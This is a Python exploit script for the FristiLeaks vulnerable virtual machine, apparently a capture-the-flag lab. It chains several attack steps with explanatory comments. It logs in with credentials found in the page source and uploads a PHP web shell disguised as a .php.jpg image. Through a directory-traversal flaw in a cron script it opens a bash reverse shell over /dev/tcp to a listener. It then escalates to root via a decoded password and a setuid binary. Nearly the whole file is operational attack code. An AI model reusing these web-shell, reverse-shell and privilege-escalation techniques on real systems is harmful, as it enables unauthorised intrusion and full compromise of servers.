#!/usr/bin/env python

import sys
import requests
import urllib
import socket
import time

"""
    FristiLeaks Exploit by zep

"""


def upload_php_shell():
    """
        upload a PHP shell to the fristiLeaks
        web application. The admin portal can be found at
        /fristi. The credentials for the admin portal
        can be found in the HTML source code. A little bit hidden, but
        quite obvious..:

        From the frist HTML comment, we can deduce the user name:
            * eezeepz
        The second HTML comment is actually a BASE64 encoded png image.
        The password is the string seen in this image:
            * keKkeKKeKKeKkEkkEk

        Now we're able to upload images at /fristi/do_upload.php.
        Luckily, the php web application only checks for the file extension
        of the uploaded image. Therefore we're able to upload a php code file
        with a ".jpg" file extension, e.g. php_shell.php.jpg.
        The php shell can then be executed by accessing the following
        URL /fristi/uploads/php_shell.php.jpg.

        Right now we're able to execute arbitrary commands as the web server's
        user.
    """

    session = requests.Session()

    data_dict = {'myusername': 'eezeepz', 'mypassword': 'keKkeKKeKKeKkEkkEk'}
    r = session.post(target_url_start + '/fristi/checklogin.php',
                    data = data_dict)

    if r.status_code == 200:
        print '[+] authenticated as eezeepz..'
    else:
        print '[-] failed to authenticated. msg is: '
        print r.text
        sys.exit(10)

    php_shell = """<?php
    $cmd =  $_GET['cmd'];
    $output = shell_exec($cmd);
    echo "<pre>$output</pre>";?>"""

    php_shell_file = {'fileToUpload': ('phpshell.php.jpg',
                                       php_shell)}
    r = session.post(target_url_start + '/fristi/do_upload.php',
                     files=php_shell_file,
                     data={'submit': 'yeahaa'})

    if r.status_code == 200:

        if 'Uploading, please wait' in r.text:
            print '[+] successfully uploaded PHP shell'
        else:
            print '[-] oops, there\'s something wrong!:'
            print r.text
            sys.exit(10)
    else:
        print '[-] failed to uploaded PHP shell, exiting..'
        sys.exit(10)

def spawn_reverse_shell(connect_back_ip, connect_back_port):
    """
        spawn a reverse shell using a broken cron-job script
        on the server... We're using a directory traversal
        vulnerability to convince the cron-job-script to execute
        code supplied by us :-)

        Then we're using bash to open a tcp socket, and we connect
        STDIN, STDOUT and STDERR to this socket.
    """

    reverse_shell_cmd  = "cat << EOF > /tmp/runthis\n"
    reverse_shell_cmd += "/usr/bin/../../../../bin/bash "
    reverse_shell_cmd += "-i >& /dev/tcp/%s/%s 0>&1\nEOF" % (connect_back_ip,
                                                             connect_back_port)

    reverse_shell_cmd_encoded = urllib.quote(reverse_shell_cmd)

    php_shell_url  = target_url_start + '/fristi/uploads/phpshell.php.jpg'
    php_shell_url += '?cmd=%s' % reverse_shell_cmd_encoded

    r = requests.get(php_shell_url)

    if r.status_code == 200:
        print '[+] executed cmd to start reverse shell..'
        print '[+] waiting for reverse shell to connect..'
    else:
        print '[-] failed to start reverse shell.. go home and cry!'
        sys.exit(10)

def open_tcp_socket(port):
    """
        open a tcp socket and wait for the reverse shell to connect
    """
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0', port))
    s.listen(0)

    conn, addr = s.accept()

    print '[+] reverse shell connection received from %s' % str(addr)
    data = conn.recv(4096)
    print data

    return conn

def send_command(conn, cmd, wait_time):
    """
        send command to reverse bash shell
    """

    conn.send(cmd + "\n")
    time.sleep(wait_time)
    print conn.recv(1024)


if __name__ == '__main__':

    if len(sys.argv) == 1:
        print 'usage: ' + sys.argv[0] + ' IP_of_fristiLeaks_VM'
        sys.exit(10)

    target_url_start  = 'http://' + sys.argv[1]
    upload_php_shell()
    spawn_reverse_shell('192.168.15.1', '8080')
    conn = open_tcp_socket(8080)

    print '[+] yeah, so now we\'ve a foot in the door on the way to root..'
    print '[+] so.. let\'s do the work!'

    # the su and sudo command need a pty, so give them one
    send_command(conn, "python -c 'import pty; pty.spawn(\"/bin/sh\")'", 0.5)

    # become fristigod user. The password is found in the file
    # /home/admin/whoisyourgodnow.txt and is encrypted:
    # =RFn0AKnlMHMPIzpyuTI0ITG
    # Thankfully, we find the code used to encrypt the password
    # in the file /home/admin/cryptpass.py
    #
    #    to decrypt the password:
    #
    #    1. reverse string:
    #         a[::-1]
    #    2. decode rot13:
    #       codecs.decode('fqqf', 'rot13')
    #    3. decode b64:
    #       base64.b64decode('dd')
    #
    # Finally we get 'LetThereBeFristi!'

    send_command(conn, "su - fristigod", 2)
    send_command(conn, "LetThereBeFristi!", 1)
    send_command(conn, "cd /var/fristigod/.secret_admin_stuff", 0.5)

    # As fristigod user, we find a hidden directory '.secret_admin_stuff'
    # Inside, we find a binary calld 'doCom', which is owned by root
    # and has the 'setuid' bit set.
    #
    # By copying the binary to /var/www/html/fristi/uploads we're able
    # to download it and to analyze it.
    # In the following dissassembly listing we can see, that we must have the
    # user id 503 (= 0x1f7 ), to be able to execute arbitrary command as root.

    #   0x00000000004006b6 <+66>:    call   0x400568 <getuid@plt>
    #   0x00000000004006bb <+71>:    mov    DWORD PTR [rbp-0x4],eax
    #   0x00000000004006be <+74>:    cmp    DWORD PTR [rbp-0x4],0x1f7


    send_command(conn, "sudo -u fristi ./doCom /bin/bash", 1)
    send_command(conn, "LetThereBeFristi!", 1)
    send_command(conn, "id", 0.5)
    send_command(conn, "cd /root && cat fristileaks_secrets.txt", 0.5)

    print '[+] here you go: your shell is ready!'

    while 1:
        d = raw_input()
        send_command(conn, d, 0.2)

    conn.close()

